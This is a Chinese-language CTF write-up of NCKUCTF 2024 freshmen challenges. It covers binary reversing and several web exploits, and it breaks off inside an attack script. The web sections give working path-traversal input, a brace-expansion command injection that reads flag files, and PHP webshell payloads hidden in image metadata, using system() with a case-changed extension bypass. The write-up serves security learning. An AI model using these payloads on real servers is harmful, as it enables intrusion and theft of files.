## 前言 本文主要爲比賽途中記錄的解題過程,部份爲解開後才補充。有些失敗的嘗試過於瑣碎而省略。 * 題目依解開序列出。 * 網路位址沒做處理,請注意瀏覽權限。 > [name=🅸🆔 aka IID as ScriptKiid] ## Welcome &mdash; 競賽規則 ![image](https://hackmd.io/_uploads/B1ZREySkke.png) ```shell $ base64 -d <<<TkNLVUNURnvmiJHmnIPpgbXlrojku6XkuIropo/liYflm6DngrrmiJHmmK/lpb3pp63lrqJ9 ``` :::success Flag: ||`NCKUCTF{我會遵守以上規則因為我是好駭客}`|| ::: ## Welcome &mdash; Discord :::success ||![{49576B86-4A64-4EA3-9BC2-005A9BD2E228}](https://hackmd.io/_uploads/H1l2Syrk1g.png)|| Flag: ||`NCKUCTF{Welcome to 2024 NCKUCTF Freshmen Cup!}`|| ::: :::danger ~~對行動版使用者不太友善,尤其是不能複製~~ ::: ## Reverse &mdash; ✌️✊✋ :::warning ※ 大部份含執行檔的題目應在相容 Linux 的環境執行。我使用 WSL 2。 ::: 直接執行。會贏喔。 :::success Flag: ||`NCKUCTF{w0W_yOU_4re_vErY_gooD_47_ROck_PAPeR_5cS50RS!!}`|| ::: ## Reverse &mdash; ✌️✊✋ Revenge ~~直接執行。會贏喔。~~ 命運的輪盤停不下來!!(惱 使用 `objdump`,沒印出任何有意義的文字來。用 `gdb` 也沒看得到的符號。 ![image](https://hackmd.io/_uploads/ByWmixXJ1l.png) 使用 `strings`,斷編殘簡中有十分甚至九分破碎。 :::warning ![image](https://hackmd.io/_uploads/HktjoeQJkg.png) 關鍵詞察覺。 ::: 下載最新 UPX 於目錄展開,`game` 接受程式展開。 ![image](https://hackmd.io/_uploads/BJv4TlmkJe.png) 它終於製作意義來了,那我們可以開始了。 :::info 底下的一列逗號分隔數字應該是 flag 內容,但加密了不可看。 ::: ### `gdb` 操作紀錄: ```txt 1 info functions ``` ![image](https://hackmd.io/_uploads/SJbDyZQ1yx.png) ``` 2 p/x $pc = 0x000000000000132d 3 r 4 p/x $pc = 0x000000000000132d 5 c 6 p/x $pc=PrintRPS 7 c 8 r 9 p/x $pc=PrintRPS 10 c 11 c 12 r 13 p/x $pc=f 14 c 15 layout asm 16 p/x $pc=0x555555555268 17 c 18 r 19 list asm 20 p/x $pc=f 21 si 22 r 23 p/x $pc=0x55555555526d 24 si 25 r 26 p/x $pc=f+4 27 c 28 c 29 r 30 p/x $pc=0x555555555274 31 c 32 list main 33 si 34 r 35 up 36 up 37 up 38 p/x $pc=0x5555555556f4 39 si 40 p/x $pc=0x5555555556f4 // 以上戳函式進入點的嘗試沒用沒用沒用 41 ni 42 r 43 up 44 up 45 up 46 break main+644 // 疑點察覺,只是下中斷點不成功。 ``` ![image](https://hackmd.io/_uploads/rkVdvlQy1e.png) ```txt 47 break 0x555555555746 // 二次下中斷點不成功。 48 ni 49 si 50 si 51 ni 52 p/x $pc 53 bt 54 p/x $ebp=0xffffffea 55 ni 56 c 57 ni // 嘗試跳過 nanosleep() 但失敗。 58 p/x $pc 59 up 60 up 61 del // 不能亂跳,函式頭尾的指令要一個一個一個執行。重來吧。 62 break __sleep 63 r 64 ni 65 c 66 p/x seconds = 0 // 【執行 sleep() 的指令前,秒數清零。】 67 c 68 p/x seconds = 0 69 c 70 break strcpm 71 break strcmp // 到疑點叫我。 72 p/x seconds = 0 73 c 74 p/x seconds = 0 75 c 76 ni // 到 77 p $eax // 【test %eax,%eax,不得不等於,`jne` 永遠跳不起來。】 ``` :::info 完全沒有那種勝利的希望。 ::: ```txt 78 ni 79 p/x $pc=main+702 // 【強制跳過去。】 80 ni 81 p seconds = 0 82 ni // Flag 取得。 ``` :::success ||![image](https://hackmd.io/_uploads/H1yP9gXy1x.png)|| Flag: ||`NCKUCTF{0M9!!D!d_yoU_beA7_tH3_8!G_90n=fR3Ecss?}`|| ::: ## Reverse &mdash; Youtube Video Recommendation Tool 隨機輸入,輸出看起來是固定的,==用 `strings` 看看好了==。 ![image](https://hackmd.io/_uploads/BJsdcy4ykg.png) 欸還有其它影片網址,都點點看好了。(終) :::success ||![image](https://hackmd.io/_uploads/r1or9kVJ1g.png) || Flag: ||`NCKUCTF{w4I7_a_MiNU73_kaITō_kiddOoa4}`|| ::: ## Reverse &mdash; Baby Python Assembly 給了一份 `flag-decryptor.py` 與 `chal.asm`。 * 直接操作 `flag-decryptor.py` 會要求一份整數清單檔。 * `chal.asm` 是純文字檔,內容是 ==Python 組譯碼==。 看起來題目想要挑戰者==寫出再現手稿來執行==,但我有個不同的想法。 :::warning 用 [`pyc-xasm`](https://github.com/rocky/python-xasm/)(需使用 master 版本)把 `chal.asm` 轉成 `.pyc` 檔執行。 ::: 但題目的 `chal.asm` 還不是 `pyc-xasm` 能直接處理的語法,這麼不同的語法==有改寫的必要==。 參考 <https://github.com/rocky/python-xasm/blob/master/HOW-TO-USE.rst> 改寫。 :::spoiler `chal-Baby_Python_Assembly-edited.pyasm` ```python # Python bytecode 3.10.0 (3439) # Method Name: what_is_this_function # Filename: "chal.py" # First Line: 1 # Constants: # 0: None # 1: (2, 5) # Names: # 0: range # Varnames: # n, a, b, i # Positional arguments: # n 2: 0 LOAD_CONST 1 ((2, 5)) 2 UNPACK_SEQUENCE 2 4 STORE_FAST 1 (a) 6 STORE_FAST 2 (b) 3: 8 LOAD_GLOBAL 0 (range) 10 LOAD_FAST 0 (n) 12 CALL_FUNCTION 1 14 GET_ITER >> 16 FOR_ITER 9 (to 36) 18 STORE_FAST 3 (i) 4: 20 LOAD_FAST 2 (b) 22 LOAD_FAST 1 (a) 24 LOAD_FAST 2 (b) 26 BINARY_ADD 28 ROT_TWO 30 STORE_FAST 1 (a) 32 STORE_FAST 2 (b) 34 JUMP_ABSOLUTE 8 (to 16) 5: >> 36 LOAD_FAST 1 (a) 38 RETURN_VALUE # Method Name: _listcomp_ # Filename: "chal.py" # First Line: 12 # Constants: # 0: 256 # Names: # 0: key # Varnames: # .0, b # Positional arguments: # .0 12: 0 BUILD_LIST 0 2 LOAD_FAST 0 (.0) >> 4 FOR_ITER 8 (to 22) 6 STORE_FAST 1 (b) 8 LOAD_FAST 1 (b) 10 LOAD_GLOBAL 0 (key) 12 BINARY_XOR 14 LOAD_CONST 0 (256) 16 BINARY_MODULO 18 LIST_APPEND 2 20 JUMP_ABSOLUTE 2 (to 4) >> 22 RETURN_VALUE # Method Name: <module> # Filename: "chal.py" # First Line: 1 # Constants: # 0: <code object what_is_this_function at 0x7fd11e886fa0, file "chal.py", line 1> # 1: 'what_is_this_function' # 2: (1775193, 1121822, 719308, 1032531, 1241562, 1604794, 1563042, 966924, 1896931, 352448, 472789, 432288, 799289, 1025726, 1333047, 1253780, 480842, 1273546, 1036331, 1714544, 219964, 1138003, 416633, 63686, 776016, 671535, 667892, 1217336, 1757210, 853059, 1894686, 881925) # 3: 4919 # 4: <code object _listcomp_ at 0x7fd11e887050, file "chal.py", line 12> # 5: '_listcomp_' # 6: None # Names: # 0: what_is_this_function # 1: a # 2: key # 3: newa # 4: aa # 5: print 1: 0 LOAD_CONST 0 (<code object what_is_this_function at 0x7fd11e886fa0, file "chal.py", line 1>) 2 LOAD_CONST 1 ('what_is_this_function') 4 MAKE_FUNCTION 0 6 STORE_NAME 0 (what_is_this_function) 8: 8 BUILD_LIST 0 10 LOAD_CONST 2 ((1775193, 1121822, 719308, 1032531, 1241562, 1604794, 1563042, 966924, 1896931, 352448, 472789, 432288, 799289, 1025726, 1333047, 1253780, 480842, 1273546, 1036331, 1714544, 219964, 1138003, 416633, 63686, 776016, 671535, 667892, 1217336, 1757210, 853059, 1894686, 881925)) 12 LIST_EXTEND 1 14 STORE_NAME 1 (a) 10: 16 LOAD_CONST 3 (4919) 18 STORE_NAME 2 (key) 12: 20 LOAD_CONST 4 (<code object _listcomp_ at 0x7fd11e887050, file "chal.py", line 12>) 22 LOAD_CONST 5 ('_listcomp_') 24 MAKE_FUNCTION 0 26 LOAD_NAME 1 (a) 28 GET_ITER 30 CALL_FUNCTION 1 32 STORE_NAME 3 (newa) 13: 34 LOAD_NAME 3 (newa) 36 GET_ITER >> 38 FOR_ITER 6 (to 52) 40 STORE_NAME 4 (aa) 14: 42 LOAD_NAME 5 (print) 44 LOAD_NAME 4 (aa) 46 CALL_FUNCTION 1 48 POP_TOP 50 JUMP_ABSOLUTE 19 (to 38) 13: >> 52 LOAD_CONST 6 (None) 54 RETURN_VALUE ``` 不支援有特殊符號的函式名,所以把 `<listcomp>` 改成 `_listcomp_`。 ::: ```shell $ pyc-xasm chal-Baby_Python_Assembly-edited.pyasm ``` 爲了確認有正確轉換,==用 [`pydisasm`](https://github.com/rocky/python-xdis)(需使用 master 版本)檢査逆轉換結果==。 ```shell $ pydisasm --format xasm chal-Baby_Python_Assembly-edited.pyc ``` 速報:最期待的畫面要出現了。 ```shell $ python chal-Baby_Python_Assembly-edited.pyc RuntimeError: Bad code object in .pyc file ``` 慟!`python` 不幸拒絕了轉換結果,更拒絕了合法的 Python 手稿轉換物。==用 [`xpython`](https://pypi.org/project/x-python/) 繞過==。 ```shell $ xpython chal-Baby_Python_Assembly-edited.pyc File ""chal.py"", line 13, in <module> TypeError_listcomp_() takes 0 positional arguments but 1 was given ``` 沒改好,再改一下就好。 ![image](https://hackmd.io/_uploads/SyyFXaXyyl.png) :::success Flag 取得:||`NCKUCTF{baby_pyth0N_1s_s0_EzZzzzzZZzzzzzZzzzz_Vincent55_is_so_Electric_OrzZzZZ_a8b40af05731c9612abeec69772de8e8ca8be759000d272e89f9ea5d413b2477}`|| ||![image](https://hackmd.io/_uploads/BJqhQaQ1ke.png)|| ::: :::info 至於 `what_is_this_function()`,原程式沒有用到,所以改造一下組譯碼讓程式列出呼叫結果: ::: :::spoiler `chal.pyasm` ```python # Python bytecode 3.10.0 (3439) # Method Name: what_is_this_function # Filename: "chal.py" # First Line: 1 # Constants: # 0: None # 1: (2, 5) # Names: # 0: range # Varnames: # n, a, b, i # Positional arguments: # n 2: 0 LOAD_CONST 1 ((2, 5)) 2 UNPACK_SEQUENCE 2 4 STORE_FAST 1 (a) 6 STORE_FAST 2 (b) 3: 8 LOAD_GLOBAL 0 (range) 10 LOAD_FAST 0 (n) 12 CALL_FUNCTION 1 14 GET_ITER >> 16 FOR_ITER 9 (to 36) 18 STORE_FAST 3 (i) 4: 20 LOAD_FAST 2 (b) 22 LOAD_FAST 1 (a) 24 LOAD_FAST 2 (b) 26 BINARY_ADD 28 ROT_TWO 30 STORE_FAST 1 (a) 32 STORE_FAST 2 (b) 34 JUMP_ABSOLUTE 8 (to 16) 5: >> 36 LOAD_FAST 1 (a) 38 RETURN_VALUE # Method Name: <module> # Filename: "chal.py" # First Line: 1 # Constants: # 0: <code object what_is_this_function at 0x7fd11e886fa0, file "chal.py", line 1> # 1: 'what_is_this_function' # 2: 64 # 3: None # Names: # 0: what_is_this_function # 1: i # 2: x # 3: range # 4: print 1: 0 LOAD_CONST 0 (<code object what_is_this_function at 0x7fd11e886fa0, file "chal.py", line 1>) 2 LOAD_CONST 1 ('what_is_this_function') 4 MAKE_FUNCTION 0 6 STORE_NAME 0 (what_is_this_function) 8: 8 LOAD_GLOBAL 3 (range) 10 LOAD_CONST 2 (64) 12 CALL_FUNCTION 1 14 GET_ITER >> 16 FOR_ITER 11 (to 40) 18 STORE_NAME 1 (i) 20 LOAD_NAME 0 (what_is_this_function) 22 LOAD_NAME 1 (i) 24 CALL_FUNCTION 1 26 STORE_NAME 2 (x) 14: 28 LOAD_NAME 4 (print) 30 LOAD_NAME 1 (i) 32 LOAD_NAME 2 (x) 34 CALL_FUNCTION 2 36 POP_TOP 38 JUMP_ABSOLUTE 8 (to 16) 13: >> 40 LOAD_CONST 3 (None) 42 RETURN_VALUE ``` ::: :::spoiler `xpython chal.pyc` ```txt 0 2 1 5 2 7 3 12 4 19 5 31 6 50 7 81 8 131 9 212 10 343 11 555 12 898 13 1453 14 2351 15 3804 16 6155 17 9959 18 16114 19 26073 20 42187 21 68260 22 110447 23 178707 24 289154 25 467861 26 757015 27 1224876 28 1981891 29 3206767 30 5188658 31 8395425 32 13584083 33 21979508 34 35563591 35 57543099 36 93106690 37 150649789 38 243756479 39 394406268 40 638162747 41 1032569015 42 1670731762 43 2703300777 44 4374032539 45 7077333316 46 11451365855 47 18528699171 48 29980065026 49 48508764197 50 78488829223 51 126997593420 52 205486422643 53 332484016063 54 537970438706 55 870454454769 56 1408424893475 57 2278879348244 58 3687304241719 59 5966183589963 60 9653487831682 61 15619671421645 62 25273159253327 63 40892830674972 ``` ::: :::info 是個 $a_{i+2} = a_{i} + a_{i+1}$ 數列,與 flag 沒有直接的關係。 ::: ## Reverse &mdash; 2048?? 先用 `strings` 看看題目正不正常,發現確實是 C# .NET 程式,==使用 [dnSpy](https://github.com/dnSpy/dnSpy) 看==。 :::warning ![image](https://hackmd.io/_uploads/rymvY6QyJl.png) 可以看到 `Game` 初始化時會直接解密 flag,而且「正常破關」(後述)就能看到 flag。 ::: 因爲是 32-bit 應用程式,debugger 無法啟動,要重新下載 32-bit 的 dnSpy,在下載的空檔確實挑戰。 ![image](https://hackmd.io/_uploads/rJamJRQyke.png) 啊啊啊啊莫明自動新遊戲了。 既然 32-bit 的 dnSpy 下載好了,就直接用 debugger 看吧。 :::success ||![image](https://hackmd.io/_uploads/Hk0fUAmkJx.png)|| Flag: ||`NCKUCTF{WHo_I5_RO63R?}`|| ::: :::info ※ 用 dnSpy 可以直接編輯反編譯結果,並重新編譯回執行檔(不會更動原執行檔,但可另存新檔)。 加上的這行實際上不會中止程式執行,只剩下放置中斷點的意義。 ![{04B07EBD-D88A-4528-9814-CF45C21D51E1}](https://hackmd.io/_uploads/SkuxwRQy1e.png) 不過實際編譯時會報吿 `base..ctor();` 一行無法剖析的錯誤,直接整行刪掉(應該沒問題,吧?)。 ::: :::info 實際上 `Game.checkGameOver()` 會呼叫 `Game.checkGoal()` 檢査有沒有値爲 `this.goal` 的方塊,但 `this.goal = 2486`,要造出「2486」的方塊才能「正常過關」,所以正常遊玩時不可能顯示 flag。 ::: :::success ==Reverse Any%== ::: ## Web &mdash; Just Image ![image](https://hackmd.io/_uploads/HJ1nuJE1kl.png) 根據源始碼: ```python path = base64.b64decode(path).decode('utf-8') if '.' in path: return 'Invalid path', 400 image_path = os.path.join('static/', path) ``` :::warning 路徑字串串接時,接上 `//` 可以使路徑回到根目錄。 ::: 把 `//flag` base64 編碼後得到 `Ly9mbGFn`,但直接瀏覽會因爲被認爲是圖片而無法顯示,但可以確定應該就是這個檔案。 ![image](https://hackmd.io/_uploads/SklLwy41Jl.png) :::warning 直接按 <kbd>Ctrl</kbd>-<kbd>S</kbd> 存檔存成文字檔。 ::: ![image](https://hackmd.io/_uploads/BJgjtwkNJJg.png) 打開即爲 flag。 :::success Flag: ||`NCKUCTF{os.path.join can join to root}`|| ::: ## Web &mdash; Looking Glass > ![簡體「输」](https://hackmd.io/_uploads/Byj1fWEJkl.png "输") 給的源始碼: ```python def run(): command = allowcommand[int(request.form.get('command'))] target = request.form.get('target') print(command, target, file=sys.stderr) if not re.match('^[+-9A-~]*$', target): return render_template('index.html', error=True) if int(request.form.get('command')) == 2: return render_template('index.html', output=os.popen(f'bash -c "{command}"').read()) return render_template('index.html', output=os.popen(f'bash -c "{command} {target}"').read()) ``` 唯一能利用的是 `target`。`command` 固定是 0 到 2 ~或到\ -3~,而只有 0 與 1 會用到 `target`。 輸入的 `target` 必須符合正規表達式 `^[+-9A-~]*$`,也就是只允許 `+` 到 `9` 及 `A` 到 `~` 的字元。査 `man ascii` 可知允許英數字或標點 ``+,-./[\]^_`{|}~`` 之一,注意==不含空格==。其中在 `bash` 中有語法作用的有: * `\`(後一字元有特殊語法意義時,去除意義) * `[[` … `]]`(眞假條件測試)(需要空白) * `|`(命令間管道) * `{` … `}`(命令區塊)(需要空白) * `~`(家目錄)(需要空白) * <code>\`</code> … <code>\`</code>(執行命令後,將輸出文字直接代入 <code>\`</code> … <code>\`</code>) 看來最有希望的是==用 `|` 後接不讀資料流輸入的命令==,例如用 `|ls` 執行 `ls`。但還無法執行需要引數的命令。`bash` 沒有內建無引數輸出單個空格的命令,所以做不到。除非我漏了其它語法。 我漏了==花括弧展開==。 <https://www.gnu.org/software/bash/manual/html_node/Brace-Expansion.html> 已知會執行 `bash -c "{command} {target}"`,假設 `command` 爲 `ping -c 1 -W 1`: * `|{ls,/}` → `bash -c "ping -c 1 -W 1 |{ls,/}"` → `ping -c 1 -W 1 | ls /`,取得 flag 檔名。 * `|{cat,/flag-8dbb2510222d6fc4}` → `bash -c "ping -c 1 -W 1 |{cat,/flag-8dbb2510222d6fc4}"` → `ping -c 1 -W 1 | cat /flag-8dbb2510222d6fc4`,取得 flag 內容。 :::success ||![image](https://hackmd.io/_uploads/HJxGTzVyye.png)|| Flag: ||`NCKUCTF{C0Mm4nD_1NJ3c710n_1s_fUn_effad912477740e3}`|| ::: ## Web &mdash; 好駭客的網站 ![image](https://hackmd.io/_uploads/SJXZ8HEJJl.png) 査看使用者端碼,可知是 PHP,但沒發現網址有使用査詢語法。 隨便上傳圖片,發現訊息是裸文字。 ![image](https://hackmd.io/_uploads/ryimPrNJke.png) ![image](https://hackmd.io/_uploads/rkgDwSN1kl.png) 嘗試用檔案名稱注入,沒有反應,多餘的 PHP 碼被瀏覽器自動註解。 :::info 在 Windows 介面上傳的話,特殊標點會因爲 Windows 檔案系統的規則先在本地被過濾,但在 WSL 介面可看到未過濾的檔案名,所以用 WSL 開瀏覽器繞過。 ::: ![{6FAB028C-A4DD-4865-BFC2-CF2DD44AC028}](https://hackmd.io/_uploads/H1PFCBNkye.png) ![image](https://hackmd.io/_uploads/Sylg1U41kx.png) 另一個可注入的點是使用者名,但有設定允許字元。 ![image](https://hackmd.io/_uploads/rJsnQLVyJg.png) 剩下的只能是上傳內容了。 考慮首頁的 "Shell me if you can!",査 Google 後猜測要使用 Webshell 的技巧,但是上傳格式必須是列出的圖片格式。 :::warning 實際上傳後發現檔案類型的檢査不看副檔名,而是看內容標頭,所以要包 PHP 碼在圖片內。可以用 `exiftool` 達成。 注意 `.php` 等 PHP 副檔名特別被禁止,在 `uploads/` 目錄下也禁止存取。 ::: 最後採用的自作原始 PNG 檔:![dot](https://hackmd.io/_uploads/BJalQt4kJe.png)(大小:1×1 像素) ```shell $ exiftool -Comment="<?php phpinfo(); ?>" dot.png ``` 但是只要副檔名是非 PHP 檔,進入上傳位址都不會成功執行(副檔名是 HTML 檔時則 PHP 碼被瀏覽器自動註解)。嘗試利用首頁中的圖片顯示也失敗。 :::warning 繼續搜尋,發現一份 Webshell 類守則:<https://github.com/Mehdi0x90/Web_Hacking/blob/main/File%20Upload.md> > Random uppercase and lowercase : `.pHp, .pHP5, .PhAr` 把含有 PHP 片段的 `dot.png` 改名爲 `dot.pHp` 後上傳,成功執行。大意了,沒有檢査大寫。 ![image](https://hackmd.io/_uploads/rklktFN1Jg.png) ::: 最後對原始的 `dot.png` 分別加入 `"<?php system('ls /'); ?>"` 與 `"<?php system('cat /flag'); ?>"` 的 PHP 碼,取得 flag。 :::success ||![image](https://hackmd.io/_uploads/BypYvYE11e.png)|| Flag: ||`NCKUCTF{YOu_are_a_g00d_H4cK3r_Just_Lik3_Vincent55_V3ry_N1c3_945dae36ca165274}`|| ::: :::info 後來發現==用 `.gif` 更方便(下述)==。 ::: ## Web &mdash; 好駭客的網站 Revenge ![image](https://hackmd.io/_uploads/BJSb9FEkke.png) 這次有提示。 ![image](https://hackmd.io/_uploads/Syad9KE1Jg.png) ![IT](https://hackmd.io/_uploads/H1wtct41yg.png) 如上一題炮製,但會強制被當作圖片,可能是 `.htaccess` 的關係。 ![image](https://hackmd.io/_uploads/HJXIjt41ye.png) :::info 實際看 HTTP 標頭發現沒有 `Content-Type:` ::: :::info 爲了上傳方便,改用 Python 操作,注意要設定 cookies。 ![image](https://hackmd.io/_uploads/S1kxUgSykx.png) 參考 `upload.php` 的使用者端碼(`<input type="file" id="avatar" name="avatar" required="">`),用 Python 送對應的請求。 後來發現==用 `.gif` 更方便,可以直接純文字編輯==(後述)。 ::: 以下是用上述方法印出的上一題的源始碼: :::spoiler 上一題的 `index.php` ```php <?php session_start(); $host = "mysql"; [中略……] )"); ?> <!DOCTYPE html> <html lang="en"> <head> [中略……] </head> <body> <div class="container"> <h2>歡迎來到好駭客的網站!</h2> <p>Shell me if you can!</p> <img src="images/good_hacker.jpg" alt="Good Hacker" style="width:300px;height:auto;"> <?php if (isset($_SESSION["username"])): ?> <p>Hello, good hacker <strong><?php echo htmlspecialchars( $_SESSION["username"] ); ?></strong>!</p> <?php $avatarPath = null; if (isset($_SESSION["avatar"])) { $avatarPath = $_SESSION["avatar"]; } if ($avatarPath && file_exists($avatarPath)): ?> <p>你的頭像:</p> <img src="<?php echo htmlspecialchars( $avatarPath ); ?>" alt="Avatar" class="avatar"> <?php else: ?> <p>您還沒有上傳頭像!</p> <?php endif; ?> <p><a href="upload.php" class="button">上傳頭像</a></p> <p><a href="reset.php" class="button">更改密碼</a></p> <p><a href="logout.php" class="button">登出</a></p> <?php else: ?> <p>您尚未登入。請先<a href="login.php">登入</a></p> <?php endif; ?> </div> </body> </html> ``` ::: :::spoiler 上一題的 `login.php` ```php <?php session_start(); $host = "mysql"; [中略……] )"); function login($conn, $username, $password) { $stmt = $conn->prepare("SELECT password FROM users WHERE username = ?"); $stmt->bind_param("s", $username); $stmt->execute(); $result = $stmt->get_result(); if ($result->num_rows > 0) { $user = $result->fetch_assoc(); if (password_verify($password, $user["password"])) { $_SESSION["username"] = $username; return true; } } return false; } if ( $_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["login"]) && isset($_POST["username"]) && isset($_POST["password"]) ) { if (login($conn, $_POST["username"], $_POST["password"])) { header("Location: index.php"); exit(); } else { $error_message = "登入失敗,請檢查您的用戶名和密碼。"; } } ?> <!DOCTYPE html> <html lang="zh-TW"> <head> [中略……] </head> <body> <div class="login-container"> <h2>登入</h2> <?php if (isset($error_message)): ?> <p class="error-message"><?php echo $error_message; ?></p> <?php endif; ?> <form method="post"> <input type="text" name="username" placeholder="用戶名" required> <input type="password" name="password" placeholder="密碼" required> <input type="submit" name="login" value="登入"> </form> <p>還沒有帳號? <a href="register.php">立即註冊</a></p> </div> </body> </html> ``` ::: :::spoiler 上一題的 `register.php` ```php <?php session_start(); $host = "mysql"; [中略……] )"); function register($conn, $username, $password) { // Validate if the username is alphanumeric if (!ctype_alnum($username)) { echo "<div class='error'>Username must be all alphanumeric!</div>"; return false; } // Check if the username already exists $stmt = $conn->prepare("SELECT username FROM users WHERE username = ?"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); if ($stmt->num_rows > 0) { echo "<div class='error'>Username already exists!</div>"; return false; } // Proceed with registration $hashedPassword = password_hash($password, PASSWORD_DEFAULT); $stmt = $conn->prepare( "INSERT INTO users (username, password) VALUES (?, ?)" ); $stmt->bind_param("ss", $username, $hashedPassword); return $stmt->execute(); } if ( $_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["register"]) && isset($_POST["username"]) && isset($_POST["password"]) ) { if (register($conn, $_POST["username"], $_POST["password"])) { echo "<div class='success'>Registration success!</div>"; } else { echo "<div class='error'>Registration failed!</div>"; } } ?> <!DOCTYPE html> <html lang="en"> <head> [中略……] </head> <body> <div class="container"> <h2>註冊帳號</h2> <form method="post"> <input type="text" name="username" placeholder="Username" required> <input type="password" name="password" placeholder="Password" required> <input type="submit" name="register" value="Register"> </form> <p>已經有帳號了!<a href="login.php">立即登入</a></p> </div> </body> </html> ``` ::: :::spoiler 上一題的 `upload.php` ```php <?php session_start(); $host = "mysql"; [中略……] )"); function uploadAvatar($username, $avatarFile) { $targetDir = "uploads/"; $targetFile = $targetDir . $username . "_" . basename($avatarFile["name"]); // Check if file is a valid image $check = getimagesize($avatarFile["tmp_name"]); if ($check === false) { echo "File is not an image.\n"; return false; } // Check if it's larger than 2 MB if ($avatarFile["size"] > 2 * 1024 * 1024) { echo "File is larger than 2MB. Too large.\n"; return false; } // Check invalid file extensions $imageFileType = pathinfo($avatarFile["name"], PATHINFO_EXTENSION); $bannedExtensions = [ "php", "php3", "php4", "php5", "php7", "phtml", "phar", "inc", "hphp", "ctp", "module", ]; if (in_array($imageFileType, $bannedExtensions)) { echo "Invalid file extension!\n"; return false; } // Don't allow htaccess if (strpos($avatarFile["name"], ".htaccess") !== false) { echo "Invalid file name.\n"; return false; } // Allow only jpg, png file types using magic type $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $avatarFile["tmp_name"]); if ( $mime !== "image/jpeg" && $mime !== "image/png" && $mime !== "image/gif" ) { echo "Invalid jpeg/png/gif file!\n"; return false; } // Move the file to the target directory if (move_uploaded_file($avatarFile["tmp_name"], $targetFile)) { echo "Avatar uploaded to " . $targetFile . " successfully!\n"; $_SESSION["avatar"] = $targetFile; return true; } else { echo "There was an error uploading the avatar.\n"; return false; } } if ( $_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["avatar"]) && isset($_SESSION["username"]) ) { uploadAvatar($_SESSION["username"], $_FILES["avatar"]); } ?> <!DOCTYPE html> <html lang="en"> <head> [中略……] </head> <body> <div class="container"> <h2>上傳頭像</h2> <?php if (isset($_SESSION["username"])): ?> <form method="post" enctype="multipart/form-data"> <label for="avatar">選擇你的頭像檔案(接受 jpg / gif / png 格式)</label> <input type="file" id="avatar" name="avatar" required> <br> <input type="submit" value="Upload Avatar"> </form> <?php else: ?> <p>您必須登入才能上傳頭像!</p> <p><a href="login.php">立即登入</a></p> <?php endif; ?> </div> </body> </html> ``` ::: :::spoiler 上一題的 `reset.php` ```php <?php session_start(); $host = "mysql"; [中略……] )"); function changePassword($conn, $username, $newPassword) { // Hash the new password $hashedPassword = password_hash($newPassword, PASSWORD_DEFAULT); // Check if the user exists $stmt = $conn->prepare("SELECT username FROM users WHERE username = ?"); $stmt->bind_param("s", $username); $stmt->execute(); $result = $stmt->get_result(); if ($result->num_rows > 0) { // User exists, update the password $stmt = $conn->prepare( "UPDATE users SET password = ? WHERE username = ?" ); $stmt->bind_param("ss", $hashedPassword, $username); return $stmt->execute(); } else { // User does not exist, create a new user $stmt = $conn->prepare( "INSERT INTO users (username, password) VALUES (?, ?)" ); $stmt->bind_param("ss", $username, $hashedPassword); return $stmt->execute(); } } if ( $_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["change_password"]) && isset($_POST["username"]) && isset($_POST["new_password"]) && isset($_POST["confirm_password"]) ) { $username = $_POST["username"]; if ($_POST["new_password"] === $_POST["confirm_password"]) { if (changePassword($conn, $username, $_POST["new_password"])) { $message = "<div class='alert alert-success'>Password changed successfully!</div>"; } else { $message = "<div class='alert alert-danger'>Password change failed!</div>"; } } else { $message = "<div class='alert alert-warning'>Passwords do not match!</div>"; } } ?> <!DOCTYPE html> <html lang="en"> <head> [中略……] </head> <body> <div class="container"> <h2 class="text-center mb-4">更改密碼</h2> <?php if (isset($message)) { echo $message; } ?> <?php if (isset($_SESSION["username"])): ?> <form method="post"> <input type="hidden" name="username" value="<?php echo $_SESSION[ "username" ]; ?>"> <div class="form-group"> <label for="new_password">新密碼:</label> <input type="password" class="form-control" id="new_password" name="new_password" required> </div> <div class="form-group"> <label for="confirm_password">確認新密碼:</label> <input type="password" class="form-control" id="confirm_password" name="confirm_password" required> </div> <button type="submit" name="change_password" class="btn btn-primary btn-block">更改密碼</button> </form> <p class="mt-3 text-center"><a href="index.php">返回到首頁</a></p> <?php else: ?> <div class="alert alert-info">您必須登入才能改密碼!</div> <p class="text-center"><a href="login.php" class="btn btn-link">立即登入</a></p> <?php endif; ?> </div> <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.5.3/dist/umd/popper.min.js"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script> </body> </html> ``` ::: :::spoiler 上一題的 `logout.php` ```php <?php session_start(); session_unset(); session_destroy(); header('Location: login.php'); exit(); ?> ``` ::: 上一題沒有 `images/info.php`。 上一題的 `.htaccess`: ```txt AddType application/x-httpd-php .php .Php .pHp .phP .pHP .PHp .PHP ``` :::danger `.PhP` 呢? ::: 上一題的 `uploads/.htaccess`: ```txt # Deny access to specific file extensions <FilesMatch "\.(php|php3|php4|php5|php7|phtml|phar|inc|hphp|ctp|module)$"> Order Deny,Allow Deny from all </FilesMatch> ``` 上一題沒有 `images/.htaccess`。 :::warning 發現可以使用 `reset.php` 新增使用者,而且不會檢査使用者名稱,並且 `login.php` 也不檢査。可以直接進 `login.php` 來避免 session 結束。 我用 Python 操作,但實際上可以直接用開發者工具編輯。 ::: ![{C53E9D23-1B1D-43E1-81AC-1ACFEAB1E464}](https://hackmd.io/_uploads/rJFv3ErkJe.png) ![image](https://hackmd.io/_uploads/Hy5RsBry1x.png) 突破使用者名稱後,現在可以控制上傳的目錄了,只是無法繞過副檔名的限制而無法執行。 嘗試了很久都不成功,直到注意到 ==`images/.htaccess` 是上一題沒有的==。 :::info 最終 `attack.py`: ```python import requests phpsessid = '73c22a668be144a4f20c3db7d2e134bd' # 'dd4e1c7e524afbb8c8af7e353e8bcd92' # phpsessid = 'dd4e1c7e524afbb8c8af7e353e8bcd92' password = 'X#R(QGwedq239rQ#@rfcef9qE3R(X#@rQ#9fWE9fx32rQ#(Wecfe9fxw#e93' account = '../images/dotdoTDotDOtD07d07D0tDotD0.php' fname_fake = '.pHp' port = 29106 # 29103:無 Revenge 版 r0 = requests.post( f'https://chall.nckuctf.org:{port}/reset.php', data={ 'change_password': 'yes', 'username': account, 'new_password': password, 